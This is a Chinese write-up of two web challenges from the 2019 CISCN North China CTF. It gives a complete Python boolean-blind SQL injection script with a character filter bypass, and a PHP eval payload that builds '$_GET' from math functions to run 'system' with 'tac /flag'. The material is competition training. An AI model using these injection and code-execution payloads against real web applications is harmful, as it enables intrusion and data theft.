2019 CISCN 华北赛区 WriteUp

🏛️ 大赛组织架构

  • 主办单位：教育部高等学校网络空间安全专业教学指导委员会

  • 承办单位：电子科技大学

  • 作品赛决赛地点：江苏南京

  • 创新实践能力赛决赛地点：四川成都

Web

Hack World（布尔盲注 + 括号绕过）

pasted_1786274224229_hgiuqh.png

考察 POST 类型的 SQL 注入，开局给了表名和列名

pasted_1786273763165_0y6rte.png

经过 FUZZ 过滤了如下字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
空格
||
#
-
;
&
+
or
and
`
"
insert
group
limit
update
delete
*
into
union
load_file
outfile
./

但是没有过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
select
from
if
ascii
substr
mid
length
()
^
=
>
<
,
'

所以联合查询、堆叠注入、文件读取基本走不通，最稳的是布尔盲注。再利用括号绕过空格的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests 
import time

url = "http://challenge-617fe162bd57f884.sandbox.ctfhub.com:10800"

def check(pos, mid):
    payload = f"if(ascii(substr((select(flag)from(flag)),{pos},1))>{mid},1,2)"
    r = requests.post(url, data={"id": payload}, timeout=10)
    return "Hello" in r.text  # 根据返回内容判断条件真假

flag = ""

# 遍历每一位
for pos in range(1, 100):
    low, high = 32, 126  # 可打印 ASCII 字符范围（空格~'~'）

    # 二分查找定位当前字符的 ASCII 码
    while low < high:
        mid = (low + high) // 2

        if check(pos, mid):   # 若 ASCII > mid，则缩小下界
            low = mid + 1
        else:                 # 否则缩小上界
            high = mid

        time.sleep(0.1)  # 延时防止请求过快

    ch = chr(low)   # 将 ASCII 码转为字符
    flag += ch
    print(flag)     # 实时输出已还原部分

    if ch == "}":   # flag以'}'结尾，提前结束
        break

print("[+] flag =", flag)

pasted_1786274137479_rgdi2x.png

Love Math（字符串构造绕过 + 数组花括号访问绕过 + 动态函数调用）

pasted_1788967621391_na5yl2.png

题目参数是 c，如果传了 c，会进入过滤，然后执行

1
eval('echo '.$content.';');

限制点主要有三个：

  • c 长度必须小于 80；

  • 黑名单过滤了空格、换行、引号、反引号、方括号等字符；

  • 代码里出现的函数名必须属于数学函数白名单

正常想执行命令，大概是 $_GET['pi']($_GET['abs']);

然后外面传 pi=system&abs=tac /flag

但是题目里不能直接写 _GET，也不能写 [、] 和引号，所以要绕

base_convert(37907361743,10,36) 把十进制数字 37907361743 转成 36 进制，结果是 hex2bin

dechex(1598506324) 结果是 5f474554，分别对应 ASCII 字符：

1
2
3
4
5f => _
47 => G
45 => E
54 => T

但是它现在还只是十六进制形式，需要 hex2bin 还原

因此 $pi=base_convert(37907361743,10,36)(dechex(1598506324));

这里变量名选 $pi 不是随便选的。pi 本身是数学函数白名单里的名字，而且很短，可以卡住长度限制

现在已经有 $pi="_GET";，可得到 $$pi，也就是 $_GET

接着可以构造出 Payload：($$pi){pi}，等价于 $_GET{pi}

在旧版本 PHP 中，{pi} 可以近似理解成数组取值：$_GET["pi"]

($$pi){abs} 同理等价于 $_GET{abs}，再等价于 $_GET["abs"]

最终 Payload 如下

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag